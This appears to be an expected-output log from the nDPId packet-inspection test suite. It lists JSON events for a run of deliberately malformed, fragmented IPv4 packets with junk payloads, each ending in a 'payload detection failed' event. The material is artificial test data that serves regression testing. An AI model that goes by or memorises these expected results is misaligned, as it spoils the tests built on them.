+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4623,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955828,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4EAGQ9EKAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4623,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4624,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955836,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4kAGQ88KAAACCoAAAjEpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4624,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4625,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955844,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5EAGQ80KAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4625,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4626,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955854,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5kAGQ8sKAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4626,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4627,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955861,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6EAGQ8kKAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4627,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4628,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955869,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6kAGQ8cKAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4628,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4629,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955876,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7EAGQ8UKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4629,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4630,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955884,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7kAGQ8MKAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4630,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4631,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955891,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8EAGQ8EKAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4631,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4632,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955899,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8kAGQ78KAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4632,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4633,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955909,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9EAGQ70KAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4633,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4634,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955917,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9kAGQ7sKAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4634,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4635,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955924,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+EAGQ7kKAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4635,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4636,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955931,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+kAGQ7cKAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4636,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4637,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955938,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/EAGQ7UKAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4637,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4638,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955945,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/kAGQ7MKAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4638,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4639,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955953,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAEAGQ7EKAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4639,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4640,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955962,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAkAGQ68KAAACCoAAAiMkJV4mKigpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4640,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4641,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955970,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBEAGQ60KAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4641,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4642,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955978,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBkAGQ6sKAAACCoAAAktJSkhHRkQyKiZERkdISks="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4642,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4643,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955986,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCEAGQ6kKAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4643,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4644,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":955993,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCkAGQ6cKAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4644,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4645,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":956001,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDEAGQ6UKAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4645,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4646,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":956011,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDkAGQ6MKAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4646,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4647,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":956023,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEEAGQ6EKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4647,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4648,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":956034,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEkAGQ58KAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4648,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4649,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":956041,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFEAGQ50KAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4649,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4650,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":956049,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFkAGQ5sKAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4650,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4651,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":956056,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGEAGQ5kKAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4651,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4652,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":956064,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGkAGQ5cKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4652,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4653,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":956071,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHEAGQ5UKAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4653,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4654,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":956081,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHkAGQ5MKAAACCoAAAiZERkdISksmXiUkIyNFVFI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4654,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4655,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":956089,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIEAGQ5EKAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4655,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4656,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":956096,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIkAGQ48KAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4656,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4657,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":956108,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJEAGQ40KAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4657,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4658,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":956116,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJkAGQ4sKAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4658,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4659,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":956124,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKEAGQ4kKAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4659,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4660,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":956131,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKkAGQ4cKAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4660,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4661,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":956139,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLEAGQ4UKAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4661,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4662,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":956146,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLkAGQ4MKAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4662,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4663,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":956153,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMEAGQ4EKAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4663,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4664,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":956163,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMkAGQ38KAAACCoAAAiVeJiooKiZeJSQjJiooS0k="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4664,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 